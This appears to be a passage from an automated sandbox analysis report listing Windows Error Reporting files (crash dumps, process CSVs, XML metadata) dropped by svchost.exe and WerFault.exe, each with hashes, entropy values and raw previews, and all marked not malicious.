Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D9A.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	92214
Entropy (8bit):	3.109634171026565
Encrypted:	false
SSDEEP:	1536:Po6O7v6PBMSnBhHyYHaHh8O/+cvm+7v++y+leA+ar+5ek+a+m+teoG+r7+3k/T+U:Po6O7v6PBMSnBhHyYHaHKO/+cvm+7v+y
MD5:	2F50B4DD303A41EFCBD524C6C0AEF231
SHA1:	5E35D0D314B4A73F3B9E559011E0E0F906DFB287
SHA-256:	6A0E910413AE123DF1BA826BE452DADD343E14CD1D85B110C48DBF8725C454FD
SHA-512:	D1351FB55635D511CF0C07D457C5CE62C448E2B376698270B8B5E51C7F105721956A35F436798A1838F1AB91263053BDA564FC5EB71EC93B1BC5866133821E90
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4711.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698639922210599
Encrypted:	false
SSDEEP:	96:TiZYW3NzrezAwYzZYl5W4B0HiYEZSYtdixMPDm/wXxu2uKappZMBTKI9uE:2ZD3KiZgWKVxZuKappZMBT99uE
MD5:	76533F242A5D163E46768FD785976622
SHA1:	FE9A43545DB1537C2CFDC5E32D24CADE87899656
SHA-256:	3B4A6E0FF20878BF5B1BE3D76EEAB1EC12C703328647F6910DE2813752BCF467
SHA-512:	316F2218EF6413CCF5A9EB1AC472CEA46790D9C9E36BCC52F2A8FD636F6BB59FCC75CDC0B6A0EDFEF4EEDCC85C5653FC468BB8FEA1E1C349B525EF6D26755BB1
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8E09.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Sep 21 11:34:07 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	168494
Entropy (8bit):	3.7238446887815324
Encrypted:	false
SSDEEP:	1536:l7H4YFeODXVRYCDynw2GpN4uE2aOQ89AcrLTgPQXhmG8/1fSHi:lkoRTyw2Q4uEqQ86crLTgIXwGGJSHi
MD5:	8C3357770FAB6ED8572259081433E9FC
SHA1:	F0CA10B80C0A99D8A7CBE8896968E238F2909946
SHA-256:	6BE7B1177C268870BA848C2D6DABF6F718484AF442BB8AD8BC064C9498EF3393
SHA-512:	2EADC77286F15A78ED557E201508346073E2EE44F0688157E85470666F926FBCB197FD3D09093516CE7F8EB9D08A5845DB1DA6DE644A033843F9DB66C2CA4BA6
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ......./..f........................\...........$...........4 ..67..........`.......8...........T............"..no......................................................................................................eJ..............GenuineIntel............T.......$...(..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9404.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Sep 21 11:34:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	27266
Entropy (8bit):	2.2197540777550886
Encrypted:	false
SSDEEP:	96:5m8u8po2y5lfXsnY1RVMWpm2li75I4vrOAllBPEGTARgLNhJ7qWI/WIKd04IZO/A:fvpiyWpvO5HTlpy+LVzKO32qeu
MD5:	E64C278FE98E0CF71641165C65B4571B
SHA1:	1A363F527F3A204529F7D274FA90047667D33E51
SHA-256:	10402A8B07B70662EDE19C0DFBEBE0F014CBC28CE73A1FD3CB83E3278101C542
SHA-512:	08C7266685BF3667A7C44EFBF370885F45890DB5570EB3F02EBB12F62117CEBD15CE7C191671067E679C8BBE3EEB6D46215C5C99A1D53B94E1F76BD2E4A79E5A
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .......0..f............4...............<.......d...4...........T.......8...........T................T......................................................................................................eJ..............GenuineIntel............T...........-..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER952E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8434
Entropy (8bit):	3.699651825888485
Encrypted:	false
SSDEEP:	192:R6l7wVeJOv6K6Yq76MgmfZy/pr789bbMsfdWJm:R6lXJW6K6Y+6Mgmfo+bffdp
MD5:	36B05397C069D1EF730F9F9EB301E8EB
SHA1:	63BD79513DF25B004BEC581C35D8726F03FFEDC4
SHA-256:	516E9667C18ED041C11784CB8660CFC50A4A2E38814A6D45774E178F6C9C9B72
SHA-512:	FD8059FBB4BDB54448C0F7CB42F7EA66EF81633CE31C04CC42279A9BF6E0D70D74D5E50491445B8DEA6D19F6965F9733A4D43EA566C89B870EBE3BE5483A39BC
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER95BB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4782
Entropy (8bit):	4.535523741718873
Encrypted:	false
SSDEEP:	48:cvIwWl8zsiJg77aI9xWWpW8VYj5Ym8M4JOB2F6+q8vYBEVvi/ffd:uIjfwI7/37VxJYKf6/ffd
MD5:	9BB5B66DA21FDA020F10D0DC32EE9044
SHA1:	61E1C49898A9C713F1623EF5BCA29F0E57FCA3B0
SHA-256:	956DC0E95E5FDC1E6A10A8ACC1A39F4B3CABB19BDC2138AA35B888BD861C9E3C
SHA-512:	2E303223A3EF704ACCBEA70B0EE2B1614D93F4B368A11089255E23047E49FDDD18D74A23862C770EC65928032BD69A2F9C856E4CD4AF8400A17304E93B28B5F7
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="509916" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9618.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8318
Entropy (8bit):	3.697127677918046
Encrypted:	false
SSDEEP:	192:R6l7wVeJgP6IFj6YFV6ugmf8JPWOFpx389bbOsf1MJm:R6lXJo6IFj6Y36ugmf8JPWOSbNf1/
MD5:	F6CCDAFE408299C1723D9A136731DB3E
SHA1:	606AB1BED1F297B2DD06373A065A8FA7469D132E
SHA-256:	A75098D5A516D6E4A786AC231B79A690B1F7B78F84E93B0F19904F3F386BEA9F
SHA-512:	E3C3416347704A48BEA13F9646EA7D1D51C8A9B80191DFDD4DE8AEF0642FE5F35445B2CC79F68CAD6D9851AA10EE19B7462ACEB0EE2C12444A824CD9E6015578
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.7.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9685.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Sep 21 11:34:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	189471
Entropy (8bit):	3.627346642257434
Encrypted:	false
SSDEEP:	1536:4/Wwdw3GGhVV/jAimYCDYtTLBnuBojRapN4uE2aOESVXJOLTgGWJtHVpDVdAUdrV:4QUTSfBJc4uEqEy0LTgGWvHzDPdrpP
MD5:	A5B49505BD49F62A6A5E1A5E75B8A9F4
SHA1:	6ACB88F71E4DC2444B73A34955679BF1F2C59F20
SHA-256:	AC32C4AE3FE6B7EBB5654A47AB8C545687EC044845A0DB6098073C9A3625C14B
SHA-512:	05305A2BB3616A691B01685B6D32FFF2D5ED6984BF1147C0BE197A59EF9968542EB797EBF2B7BF01D6B2E8B0C6D7172BF284119984987A3053472D9C587FF9B4
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .......1..f........................\...(.......$...........$....@..........`.......8...........T...........@%.........................................................................................................eJ......,.......GenuineIntel............T...........(..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96C3.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95224
Entropy (8bit):	3.109612412876996
Encrypted:	false
SSDEEP:	1536:cER7JfwLc1D5Tu9vPCpeHMPWkX3jZGgBoYL4z+xhBRyqAEsfcQTyQXYtTralYmj:cER7JfwLc1D5Tu9vPCpeHMPzX3jZGgBC
MD5:	D789A9593F5771092683C305B5A9051D
SHA1:	79990E9AA2FC3CEFD8C234E2DB8711BF0DCA5BED
SHA-256:	56CE12F189AEE9872C55726EA3C06E8363AC922B769C9F5F516445F96B751CDC
SHA-512:	91B222A85CA9370A2868E4CD5D92B20AEF49C32C7C1E750D4E5B33CE2F9E00B5EC7F32DBF7E151C1EEC5063F422DCEB6AE85B2035F387A28356AB372DB587A7E
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96E4.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4636
Entropy (8bit):	4.443341492894614
Encrypted:	false
SSDEEP:	48:cvIwWl8zsiJg77aI9xWWpW8VYjEcYm8M4JfuBKFKG+q8oCK2QgLuOLuird:uIjfwI7/37VhJfu6v32Bukuird
MD5:	2BFD62C3809320E0CD84054DE5ED1667
SHA1:	6928A150AB6EE7B0264440B545EB923219254FBF
SHA-256:	C46316F880AD77EB8C1D0003C0817EDCE0D91CBA469BB8F4449FD7E4F44345D1
SHA-512:	B36ACBA6E844E218E6036232399DCF4CC1573F746A23C0DFD79131185355BDBD07A93261FD38E0712AFF29CB5496C1CD1F2A4040AEF75D7F79419094AFE8EEE5
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="509916" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER982B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95634
Entropy (8bit):	3.1096609333078136
Encrypted:	false
SSDEEP:	1536:0IX06zwLA1DcbpU9AuIpeHM2WkX3jZGgBoYL4z+xhBRyqAEsfcQTyQXYV/a9sW9R:0IX06zwLA1DcbpU9AuIpeHM2zX3jZGgU
MD5:	EBD5ADF7FF9C6677DC2793081D5FF0D4
SHA1:	DCE41BB8349B268535201EF050CE946D5A8C3686
SHA-256:	85D5A5C531880D7399319B279488097C83B63206C5CCF3A4618CF862952535FF
SHA-512:	55CEA02750FA17EA43BC07640A16EABC3A441E4E9034366E3C7F04D34286071D6DE2FB84403CF13410ABAF1DD92681E691E831BFB5825DFF95B6046FB32BDEE1
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9965.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.684861324944787
Encrypted:	false
SSDEEP:	96:TiZYW395nR0cYcYkcW/HUYEZaqtdi1EfaVpPwtxgKmaJpyMMwZQIJu3:2ZD3997L1AbmaJp3MwZnJu3
MD5:	BEA598A7E3CD70D25E3854A1187185F1
SHA1:	45EFD545B57853547AEF67377FED2C10C23C1CA1
SHA-256:	B238282E27707AB0520E6481CE39D0176BCAD95C3392AAEE590FD71559560280
SHA-512:	EC40050035BC38B6B87D9EA29F3E453B03E069609E1A2E3B14988535A30020FF48711DE8E65B0C117F63EF98D927A68636BD20B7A56247EFA762503038C74FFE
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9983.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.7079728564160788
Encrypted:	false
SSDEEP:	192:R6l7wVeJQy/6owT6Yqv6hJgmfEDr9pNm89bS31fsGm:R6lXJF6ou6YC6vgmfSpSFfU
MD5:	11B3ED3FE7ABCC3CB54ABCF5E47892E7
SHA1:	65C6CAE68D22E902A196557F9DA4CB98366A8A37
SHA-256:	5C096C49548DB4B0AB46223B39C8E0825F5073CE0633EBA19D2208AB0A9CFE46
SHA-512:	4D832C4FDF2212B964BE65F58A236AF2F3CC172A6CFDE2E41E05FDB34D01A7AB102976CFD42DF704A3E33D10CCCA539B0FE8DA870902EF6A0460CFCDF8968528
Malicious:	false
Reputation:	unknown
